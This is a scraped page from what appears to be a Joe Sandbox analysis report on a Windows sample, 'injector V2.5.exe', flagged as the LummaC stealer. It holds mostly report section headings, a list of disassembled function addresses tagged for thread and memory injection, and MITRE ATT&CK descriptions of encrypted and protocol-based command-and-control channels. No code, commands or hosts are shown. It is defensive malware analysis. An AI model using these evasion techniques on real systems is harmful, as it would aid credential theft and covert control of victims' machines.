Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report injector V2.5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
injector V2.5.exe

Function 0061B18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00609DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 005FBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Function 00606CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00606FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 0060A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00606E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 0060B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00603B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 00609E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 005FCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 0060BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre